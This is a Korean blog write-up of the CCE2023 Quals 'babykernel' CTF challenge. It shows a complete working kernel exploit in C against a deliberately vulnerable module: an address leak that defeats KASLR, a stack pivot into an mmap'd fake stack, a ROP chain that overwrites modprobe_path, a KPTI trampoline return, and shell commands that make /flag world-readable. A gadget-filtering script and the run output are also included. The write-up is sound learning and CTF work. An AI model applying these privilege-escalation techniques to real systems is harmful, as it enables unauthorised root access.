Kernel exploit practice
Introdution
앞서 리눅스 커널 익스플로잇에 대한 여러 기초 지식을 포스트하였다.
이제 실제 지식을 이용하여 리눅스 커널 익스플로잇을 구현해보자.
대상은 CCE2023 Quals 에서 배포한 babykernel 문제이다.
babykernel.ko 라는 커널 모듈을 제공하고, 커널 환경을 qemu 를 통해 에뮬레이팅 할 수 있게 하는 환경을 준다.
qemu 커맨드 실행을 보면 kaslr, smep, kpti 보호기법이 적용된 것을 알 수 있다.
- local_run.sh
#!/usr/bin/env bash qemu-system-x86_64 \ -m 128M \ -cpu kvm64,+smep \ -kernel bzImage \ -initrd rootfs.img.gz \ -snapshot \ -nographic \ -monitor /dev/null \ -no-reboot \ -append "console=ttyS0 kaslr kpti=1 quiet panic=1"
1. Vulnerability analysis
주어진 모듈(babykernel.ko)를 열어 ioctl을 처리하는 곳을 보자.
__int64 __fastcall bk_ioctl(__int64 a1, __int64 a2)
{
__int64 v2; // rdx
_QWORD *v4; // rax
_QWORD *target_address; // rbx
_QWORD *alloced; // rsi
_fentry__(a1, a2);
copy_from_user(user_input, v2, 24LL);
switch ( (_DWORD)a2 )
{
case 0x1002:
target_address = &ops[user_input[2]];
alloced = (_QWORD *)kmem_cache_alloc_trace(kmalloc_caches[18], 6291648LL, 16LL);
*alloced = target_address;
if ( (unsigned __int64)user_input[1] > 0x10 )
_copy_overflow(16LL, user_input[1]);
else
copy_to_user(user_input[0], alloced);
break;
case 0x1003:
((void (*)(void))&ops[user_input[2]])();
break;
case 0x1001:
v4 = (_QWORD *)kmem_cache_alloc_trace(kmalloc_caches[18], 6291648LL, 16LL);
*v4 = &commit_creds;
if ( (unsigned __int64)user_input[1] <= 0x10 )
copy_to_user(user_input[0], v4);
break;
}
return 1LL;
}
ioctl 의 command 는 총 3개이다. 각 command는 다음과 같은 역할을 한다.
- 0x1001: commit_creds 심볼의 주소를 반환한다.
- 0x1002:
input_buffer + 0x16주소의 8바이트 값을 읽어ops심볼의 상대적인 곳의 주소를 반환한다. - 0x1003:
input_buffer + 0x16주소의 8바이트 값을 읽어ops심볼의 상대적인 곳의 주소를 호출(call)한다.
보다시피 제목만큼 대놓고 취약점을 주는 코드이다. 0x1001 command 로 커널의 base address 를 알 수 있고, 0x1002 command로 해당 커널 모듈이 올라간 주소를 확인할 수 있다.
마지막으로 0x1003command 를 이용해 임의의 영역 코드를 실행시킬 수 있다.
2. Exploit Flow
취약점은 다 나왔으니, 이 취약점을 이용하여 커널을 익스플로잇을 해보자.
내가 계획한 익스플로잇 계획은 다음과 같다 .
0x1001,0x1002command 로 커널 베이스와 모듈의 베이스 주소 가져오기- 모듈 주소 값과 커널 주소의 값을 알아내
user_input + 16에 넣을 상대 값 계산하기0x1003command 를 통해 call 할 곳을 계산한다.call할 곳은 커널의xchg esp, eax; ret가젯이 있는 주소
mmap()함수를 이용하여 원하는 주소에 공간을 할당한다.xchg esp, eax가젯을 이용해mmap()으로 할당한 공간의 주소를rsp의 값으로 만든다. (fake stack을 만든다.)- 만들어진 fake stack 에서 rop를 수행하여
modprobe_path를/tmp/x로 덮어쓴다. - 유저모드로 전환 후,
\xff\xff\xff\xff바이트 문자열을/tmp/trigger에 쓴다. /tmp/trigger를 실행해/tmp/x의 실행을 유도하고,/tmp/x에는 flag 의 권한을777로 바꾸는 쉘 스크립트를 작성한다.- flag를 읽는다.
2-4 과정은 아는사람은 아는 익스플로잇 기법인 stack pivot 공격 기법이고, 5-8 번 과정은 modprobe_path overwrite 기법이다.
3. leak base address
이제 실제 코드를 짜보자.
먼저 0x1001, 0x1002 command 를 이용해 커널과 모듈 베이스를 알아오는 코드이다.
#include <stdio.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdint.h>
#include <string.h>
#define DEVICE_PATH "/dev/babykernel"
#define LEAK_COMMIT_CREDS 0x1001
#define LEAK_MODULE_OFFSET 0x1002
#define JUMP_POINTER 0x1003
uint64_t ioctl_control(uint64_t leak_buffer[3], unsigned long command)
{
int fd;
ssize_t ioctl_ret;
fd = open(DEVICE_PATH, O_RDWR);
if (fd < 0)
{
printf("device open error\n");
return 0;
}
ioctl_ret = ioctl(fd, command, leak_buffer);
if (ioctl < 0)
{
printf("ioctl error: %lld\n", ioctl);
return 0;
}
return NULL;
}
int main(void)
{
uint64_t* leak_alloc = (int64_t*)malloc(sizeof(int64_t));
uint64_t leak_buffer[3] = {0,};
uint64_t commit_creds;
uint64_t module_base_address;
int dummy;
// leak commit_creds
leak_buffer[0] = leak_alloc;
leak_buffer[1] = 0x8;
ioctl_control(leak_buffer, LEAK_COMMIT_CREDS);
commit_creds = *leak_alloc;
printf("commit_address: 0x%llx\n", commit_creds);
//leak userinput_address
leak_buffer[2] = -4;
leak_buffer[1] = 0x8;
ioctl_control(leak_buffer, LEAK_MODULE_OFFSET);
module_base_address = *leak_alloc - 0x24c0;
printf("module base address: 0x%llx\n", module_base_address);
uint64_t kernel_base = commit_creds - 0xfc0f0;
printf("kernel base: 0x%llx\n", kernel_base);
}
kernel base 주소와 module_base 주소는 해당 커널에 root 로 접속 후 kallsyms 파일을 읽어 상대 주소를 가져올 수 있다.
~ # cat /proc/kallsyms | grep commit_creds
ffffffff810fc0f0 T commit_creds
ffffffff8293e2e0 r __ksymtab_commit_creds
ffffffff8296d715 r __kstrtab_commit_creds
ffffffff82972805 r __kstrtabns_commit_creds
~ # cat /proc/kallsyms | grep _text
ffffffff81000000 T _text
ffffffff8104afe0 t __text_poke
ffffffff8104b9f0 T alternatives_text_reserved
...
위에 보이는 _text 주소가 실제 커널 베이스 주소이다. commit_creds 주소와 _text 주소를 알았으니, 상대값을 구할 수 있고, 이를 통해 커널 베이스 주소를 구할 수 있다.
4. Stack pivot
stack pivot을 위해 먼저 mmap 을 통해 xchg esp, eax; ret 가젯이 있는 주소 & 0xfffff000 에 영역을 할당하자.
그 이유는 아래 커널 모듈의 어셈블리를 보면 알 수 있다.
.text:00000000000000E7 loc_E7: ; CODE XREF: bk_ioctl+2E↑j
.text:00000000000000E7 mov rax, cs:user_input+10h
.text:00000000000000EE lea rax, ops[rax*8]
.text:00000000000000F6 call __x86_indirect_thunk_rax ; PIC mode
.text:00000000000000FB jmp loc_3C
0x1003 command 를 요청했을 때, 우리가 지정한 주소를 rax 에 저장하고, rax 의 주소를 call 하는 것을 확인할 수 있다.
우리가 뛸 곳의 주소는 xchg esp, eax; ret; 가젯이 있는 주소이다.
실제 내가 구한 해당 가젯의 주소는 kernel_base + 0x243298 이다.
실제 해당 가젯으로 코드를 뛰었다고 가정하자. 그 상태에서 rax 의 값은 해당 가젯이 있는 주소인 kernel_base + 0x243298 이다. xchg esp, eax 명령을 실행 한 후, rsp에는 rax의 하위 32bit 값이 들어갈 것이다. 그 값은 xchg esp, eax 가젯 주소의 하위 32bit 값이 된다!.
그렇다면 우리는 rsp 의 값을 xchg esp, eax; ret; 가젯의 하위 32 비트 주소로 컨트롤 할 수 있게된다.
그렇다면 여기 주소에 mmap을 통해 영역을 할당하고, 그곳에 우리가 원하는 값을 쓴다면 가짜 stack 을 만들어 ROP 를 수행할 수 있게 된다.
이 때, mmap 함수에 원하는 주소를 넣을 땐, 페이지 단위로만 주소를 설정 할 수 있으므로 0xfffff000 을 and 해주는 것이다.
그 후 실제 rsp가 할당 되는 부분에 우리가 원하는 ROP 체인을 넣으면 된다.
그것을 코드로 구현하면 다음과 같다.
uint64_t* fake_stack = mmap(xchg_eax_esp__ret & 0xfffff000, 0x6000, 7, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
int stack_target = (xchg_eax_esp__ret & 0xfff) / 8;
fake_stack[stack_target] = first_gadged_address;
5. Find gadget
이제 커널에서 적절한 가젯을 가져와 modeprobe_path 를 덮어쓰자
일반적인 elf 파일이라면 ROPgadget 이나 Ropper 등의 툴로 쉽게 구할 수 있겠지만, 해당 툴은 리눅스 커널 파일인 vmlinux에서 실제 적용할 수 있는 가젯을 명확하게 줄 수 없다.
그 이유는 해당 툴들은 실제 실행 권한이 있는 코드 가젯만을 주는 것이 아니기 때문이다.
따라서 범위를 좁혀서 실행권한이 있는 주소에만 가젯을 가져올 수 있도록 하자.
- tream.py
import re
# ffffffff82202188 T _etext
# ffffffff81000000 T _text
def tream_data(input_file:str, text_start:int, text_end:int) -> None:
with open(input_file, "r") as f:
_lines = f.read().split("\n")
ansi_escape = re.compile(r'\x1B[@-_][0-?]*[ -/]*[@-~]')
with open(input_file, "w") as f:
for _line_c in _lines:
_line = ansi_escape.sub('', _line_c)
if _line.startswith("0x"):
_offset = int(_line.split(":")[0], 16)
if _offset >= text_start and _offset <= text_end:
f.write(_line + "\n")
if __name__ == '__main__':
tream_data("gadgets", 0xffffffff81000000, 0xffffffff82202188)
ropper -f vmlinux > gadgets
python3 tream_data.py
해당 코드는 가젯 중에서 커널 베이스인 _text 와 그 끝부분인 _etext 사이의 가젯만 가져 올 수 있게 하는 과정이다.
물론 이 영역에 있다는 모든 가젯이 유효한 가젯인것은 아니며, 실제 디버깅을 통해 유효한 가젯인지 확인해봐야 한다.
나는 pop rbx, pop rax, mov dword ptr[rbx], rax 가젯을 통해 modeprobe_path 를 덮어쓸 것이다.
// 0xffffffff81094167: pop rbx; ret;
// 0xffffffff814940e3: mov dword ptr [rbx], eax; ret;
// 0xffffffff811ae94c: pop rax; ret;
uint64_t mov_dwordptr_rbx_eax__ret = kernel_base + 0x4940e3;
uint64_t pop_rax__ret = kernel_base + 0x1ae94c;
uint64_t pop_rbx__ret = kernel_base + 0x94167;
// overwrite moprobe_path
fake_stack[stack_target] = pop_rbx__ret;
fake_stack[stack_target + 1] = modprobe_path;
fake_stack[stack_target + 2] = pop_rax__ret;
fake_stack[stack_target + 3] = 0x706d742f;
fake_stack[stack_target + 4] = mov_dwordptr_rbx_eax__ret;
fake_stack[stack_target + 5] = pop_rbx__ret;
fake_stack[stack_target + 6] = modprobe_path + 4;
fake_stack[stack_target + 7] = pop_rax__ret;
fake_stack[stack_target + 8] = 0x782f;
fake_stack[stack_target + 9] = mov_dwordptr_rbx_eax__ret;
6. KPTI trampoline
이제 modeprobe_path 를 덮어 썼으니 유저 모드로 전환 후 다음 과정을 진행하자.
앞서 확인했듯이, 해당 커널에는 KPTI보호기법이 적용되어있다.
따라서 유저 모드로 전환 하기 위해 KPTI trampoline 기법을 쓸것이다.
// return to usermode with KPTI trampoline
fake_stack[stack_target + 10] = kpti_trampoline;
fake_stack[stack_target + 11] = 0; // dummy 1
fake_stack[stack_target + 12] = 0; // dummy 2
fake_stack[stack_target + 13] = (uint64_t)&get_flag; // user_ip
fake_stack[stack_target + 14] = user_cs;
fake_stack[stack_target + 15] = user_rflags;
fake_stack[stack_target + 16] = user_sp;
fake_stack[stack_target + 17] = user_ss;
이때 usermode 에서 저장해 놓았던 cs, rflags, rsp, ss를 지정해줘야하는데, 그것은 다음과 같은 코드로 수행이 가능하다.
uint64_t user_cs;
uint64_t user_ss;
uint64_t user_sp;
uint64_t user_rflags;
void save_state()
{
__asm__ __volatile__(
".intel_syntax noprefix;"
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
".att_syntax;"
);
}
마지막으로 돌아가야 할 곳인 rip의 값은 실제 권한을 상승하고 flag 의 권한을 변경시킬 get_flag 함수로 지정하자.
7. Use overwrited modprobe_path
이제 get_flag에서 어떻게 플래그를 읽을지 정해주자. modprobe_path 포스트에서 썼던 방법대로 /tmp/trigger 에 \xff\xff\xff\xff 를 쓰고 이를 실행할 것이다.
그러면 modprobe_path에 지정되어있는 프로그램 로더를 사용하여 해당 파일을 실행하려고 할 것이나, 우리는 이미 modprobe_path 를 /tmp/x 로 덮어썼으니 /tmp/x 가 실행될 것이다.
그럼 우리는 그 전에 미리 /tmp/x에 실제 flag의 권한을 변경시키는 코드를 넣으면 된다.
void get_flag()
{
char *const argv[] = {"/tmp/trigger", NULL};
char *const envp[] = {NULL};
system("printf \"#!/bin/sh\\nchmod 777 /flag\" > /tmp/x");
system("chmod +x /tmp/x");
system("printf \"\\xff\\xff\\xff\\xff\" > /tmp/trigger");
system("chmod +x /tmp/trigger");
system("/tmp/trigger");
system("cat flag");
}
Conclusion
이제 완성된 익스플로잇 코드를 보자.
#include <stdio.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdint.h>
#include <string.h>
#define DEVICE_PATH "/dev/babykernel"
#define LEAK_COMMIT_CREDS 0x1001
#define LEAK_MODULE_OFFSET 0x1002
#define JUMP_POINTER 0x1003
uint64_t user_cs;
uint64_t user_ss;
uint64_t user_sp;
uint64_t user_rflags;
void save_state()
{
__asm__ __volatile__(
".intel_syntax noprefix;"
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
".att_syntax;"
);
}
void get_flag()
{
char *const argv[] = {"/tmp/trigger", NULL};
char *const envp[] = {NULL};
system("printf \"#!/bin/sh\\nchmod 777 /flag\" > /tmp/x");
system("chmod +x /tmp/x");
system("printf \"\\xff\\xff\\xff\\xff\" > /tmp/trigger");
system("chmod +x /tmp/trigger");
system("/tmp/trigger");
system("cat flag");
}
uint64_t ioctl_control(uint64_t leak_buffer[3], unsigned long command)
{
int fd;
ssize_t ioctl_ret;
fd = open(DEVICE_PATH, O_RDWR);
if (fd < 0)
{
printf("device open error\n");
return 0;
}
ioctl_ret = ioctl(fd, command, leak_buffer);
if (ioctl < 0)
{
printf("ioctl error: %lld\n", ioctl);
return 0;
}
return NULL;
}
int main(void)
{
uint64_t* leak_alloc = (int64_t*)malloc(sizeof(int64_t));
uint64_t leak_buffer[3] = {0,};
uint64_t commit_creds;
uint64_t module_base_address;
int dummy;
save_state();
// leak commit_creds
leak_buffer[0] = leak_alloc;
leak_buffer[1] = 0x8;
ioctl_control(leak_buffer, LEAK_COMMIT_CREDS);
commit_creds = *leak_alloc;
printf("commit_address: 0x%llx\n", commit_creds);
//leak userinput_address
leak_buffer[2] = -4;
leak_buffer[1] = 0x8;
ioctl_control(leak_buffer, LEAK_MODULE_OFFSET);
module_base_address = *leak_alloc - 0x24c0;
printf("module base address: 0x%llx\n", module_base_address);
// ffffffff810fc0f0 T commit_creds
// ffffffff810fc3d0 T prepare_kernel_cred
// ffffffff81000000 T _text
// ffffffff82a8b340 D modprobe_path
// ffffffff820010f0 T swapgs_restore_regs_and_return_to_usermode
// ffffffffc0000000 t bk_ioctl [babykernel]
// ffffffffc0002140 d __this_module [babykernel]
// ffffffffc0000100 t bk_init [babykernel]
// ffffffffc0000260 t cleanup_module [babykernel]
// ffffffffc0000100 t init_module [babykernel]
// ffffffffc00024c0 b user_input [babykernel]
// ffffffffc0000260 t bk_exit [babykernel]
// ffffffffc0002000 d bk_fops [babykernel]
// ffffffffc00024e0 b ops [babykernel]
// swapgs_restore_regs_and_return_to_usermode:
// 0xffffffff81243298: xchg eax, esp ; ret ; (1 found)
// 0xffffffff8200118b: swapgs
// 0xffffffff8200118e: jmp 0xffffffff820011b0
// 0xffffffff820011b0: test BYTE PTR [rsp+0x20],0x4
// 0xffffffff820011b5: jne 0xffffffff820011b9
// 0xffffffff820011b7: iretq
uint64_t kernel_base = commit_creds - 0xfc0f0;
uint64_t xchg_eax_esp__ret = kernel_base + 0x243298;
printf("kernel base: 0x%llx\n", kernel_base);
printf("0x%llx\n", xchg_eax_esp__ret);
//make fakestack
uint64_t* fake_stack = mmap(xchg_eax_esp__ret & 0xfffff000, 0x6000, 7, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
int stack_target = (xchg_eax_esp__ret & 0xfff) / 8;
// 0xffffffff825d4ece : xor esi, edi ; pop rdi ; ret
// 0xffffffff81094160 : pop r14 ; pop r13 ; pop r12 ; pop rbp ; pop rbx ; ret
// 0xffffffff82f2f65c: and ecx, 0x03 ; rep movsb ; pop rdi ; pop rsi ; ret ; (1 found)
// 0xffffffff81413398: pop rcx ; ret ; (1 found)
// 0xffffffff82e8142e: pop rsi ; ret ; (1 found)
// 0xffffffff81094167: pop rbx; ret;
// 0xffffffff814940e3: mov dword ptr [rbx], eax; ret;
// 0xffffffff811ae94c: pop rax; ret;
uint64_t modprobe_path = kernel_base + 0x1a8b340;
uint64_t swapgs_restore_regs_and_return_to_usermode = kernel_base + 0x10010f0;
uint64_t kpti_trampoline = kernel_base + 0x1001144;
printf("modprobe_path: 0x%llx\n", modprobe_path);
uint64_t mov_dwordptr_rbx_eax__ret = kernel_base + 0x4940e3;
uint64_t pop_rax__ret = kernel_base + 0x1ae94c;
uint64_t pop_rbx__ret = kernel_base + 0x94167;
// overwrite moprobe_path
fake_stack[stack_target] = pop_rbx__ret;
fake_stack[stack_target + 1] = modprobe_path;
fake_stack[stack_target + 2] = pop_rax__ret;
fake_stack[stack_target + 3] = 0x706d742f;
fake_stack[stack_target + 4] = mov_dwordptr_rbx_eax__ret;
fake_stack[stack_target + 5] = pop_rbx__ret;
fake_stack[stack_target + 6] = modprobe_path + 4;
fake_stack[stack_target + 7] = pop_rax__ret;
fake_stack[stack_target + 8] = 0x782f;
fake_stack[stack_target + 9] = mov_dwordptr_rbx_eax__ret;
// return to usermode with KPTI trampoline
fake_stack[stack_target + 10] = kpti_trampoline;
fake_stack[stack_target + 11] = 0; // dummy 1
fake_stack[stack_target + 12] = 0; // dummy 2
fake_stack[stack_target + 13] = (uint64_t)&get_flag; // user_ip
fake_stack[stack_target + 14] = user_cs;
fake_stack[stack_target + 15] = user_rflags;
fake_stack[stack_target + 16] = user_sp;
fake_stack[stack_target + 17] = user_ss;
// jump to pointer
// rax is gaget address
leak_buffer[2] = (xchg_eax_esp__ret - (module_base_address + 0x24c0 + 0x20)) / 8;
printf("0x%llx\n", module_base_address + 0x24c0 + 0x20 + (leak_buffer[2] * 8));
// go to rop
ioctl_control(leak_buffer, JUMP_POINTER);
return 0;
}
그러면 읽을 수 없는 flag을 읽을 수 있게 됐다!
~ $ ./exploit
commit_address: 0xffffffff9b6fc0f0
module base address: 0xffffffffc02d7000
kernel base: 0xffffffff9b600000
0xffffffff9b843298
modprobe_path: 0xffffffff9d08b340
0xffffffff9b843298
/tmp/trigger: line 1: ����: not found
cce2023{...}
Segmentation fault
~ $
처음으로 커널 익스플로잇을 작성해봤다. 여러 보안기법을 우회하면서 공부하는 것도 너무 재미있었고, 실제 커널로 권한 상승을 해보니 신기하기도 했다.
앞으로 여러 케이스 스터디들을 하면서 커널에 대한 공부를 많이 해봐야 할 것 같다.